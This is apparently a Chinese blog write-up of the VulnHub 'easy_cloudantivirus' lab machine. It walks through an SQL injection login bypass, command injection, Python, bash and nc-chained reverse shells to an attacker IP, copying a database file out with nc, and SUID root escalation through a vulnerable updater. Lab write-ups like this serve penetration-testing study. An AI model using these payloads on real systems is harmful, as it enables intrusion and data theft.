VulnHub打靶记录——easy_cloudantivirus

靶机下载地址:https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453/

将靶机设置为NAT模式并启动。

主机发现&信息收集

nmap扫描本地网段

nmap -sn 192.168.50.1/24

在这里插入图片描述
136是kali,137就是我们的目标靶机。

接着收集靶场信息:

nmap -sV -Pn -O 192.168.50.137

在这里插入图片描述
开放了22,8080端口,分别运行了ssh和http服务,Werkzeug是一个工具包,作为web框架的底层库。

web测试

访问8080端口
在这里插入图片描述
有一个输入框,提示需要输入正确的邀请码才能使用云杀软扫描器。也就是类似于密码,针对这种情况,我们有一般两个思路,一是使用sql注入无密码登陆后台,二是暴力破解密码,这里使用sql注入,邀请码基本上都不是纯数字,所以可以判断为字符型注入。

先来测试一下,输入 and 1=2
在这里插入图片描述
和随便输入的结果一样,提示输入的信息有错误,说明确实是字符型注入。接着判断闭合符号,跑一遍键盘上的所有符号。
在这里插入图片描述
发现双引号的响应值和长度异常,从双引号的返回页面中看到
在这里插入图片描述
说明双引号就是这个字符型的闭合方式。(一般在真实的渗透环境中,字符型注入的闭合方式都比较简单,只有ctf中才会有奇奇怪怪的闭合方式)

使用万能语句绕过:" or 1=1 --+

在这里插入图片描述
随便输入一个1
在这里插入图片描述
从返回的结果中猜测这里是我们输入一个名称以后,会被拼接成为一条启动杀毒程序的命令语句放到命令行执行,那么这里可能存在命令执行漏洞。

使用管道符拼接命令,输入1|id,返回结果如下:
在这里插入图片描述
命令成功执行了,接着来执行个反弹shell的命令,因为这里是python环境,使用下面命令反弹:

1|python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.50.136",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

在这里插入图片描述
成功拿到shell

如果没有python环境可以用下面命令反弹shell

1|echo "bash -i >& /dev/tcp/192.168.50.136/7777 0>&1" | bash

权限提升

ls查看当前目录,看到有个 database.sql 文件,应该是Web应用的数据库,发现是sqlite文件
在这里插入图片描述
靶机没有安装sqlite环境,只能将其下载到kali上,使用NC传输文件:

攻击机:nc -lvp 8888 > database.sql
靶机:nc 192.168.50.136 8888 < database.sql
在这里插入图片描述
接受到文件后打开
在这里插入图片描述
是一些密码,由于靶机开启了22端口,尝试找到有 bash 环境的用户进行密码爆破

cat /etc/passwd | grep /bin/bash

这三个用户有bash环境
在这里插入图片描述
但是没有爆破成功,看来这确实只是个web应用的密码。

SUID提权:

尝试内核漏洞提权,没有找到可以利用的exp:
在这里插入图片描述
19
尝试suid提权,使用find命令查找具有suid权限的文件

find / -perm /4000 -type f 2>/dev/null

-perm /4000:这是 find 命令的选项之一,用于指定文件权限。/4000 表示文件权限中的 SUID 位被设置。
-type f:这是 find 命令的另一个选项,用于指定要查找的文件类型为普通文件。
2>/dev/null:这部分是重定向操作符,将标准错误输出(stderr)重定向到 /dev/null,即丢弃错误消息。

在这里插入图片描述
看到了这个文件,进入对应目录查看
在这里插入图片描述
可以看到有个s,update_cloudav是一个具有suid权限的可执行文件,文件执行时是root权限,所属组是当前scanner用户,不需要使用sudo命令。

这里我们可以想到 update_cloudav.c 就是这个可执行文件的C语言源码,读取一下源文件:
在这里插入图片描述
源码审计:内容就是执行病毒库的更新程序,调用 freshclam 程序,需要带有参数才能正常执行,带的参数也会放到 system 函数中执行,否则会报错。

可以尝试让参数是反弹shell的命令,构造payload:

./update_cloudav "a |nc 192.168.50.136 4444|/bin/bash|nc 192.168.50.136 5555"

因为靶机 nc 没有-e参数,利用nc串联来解决。kali开两个终端,分别监听4444、5555端口。
在这里插入图片描述
提权成功。

遇到的问题

靶机获取不到ip地址,解决办法:

https://blog.csdn.net/qq_41918771/article/details/103636890
https://blog.csdn.net/qq_40806266/article/details/124117573

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值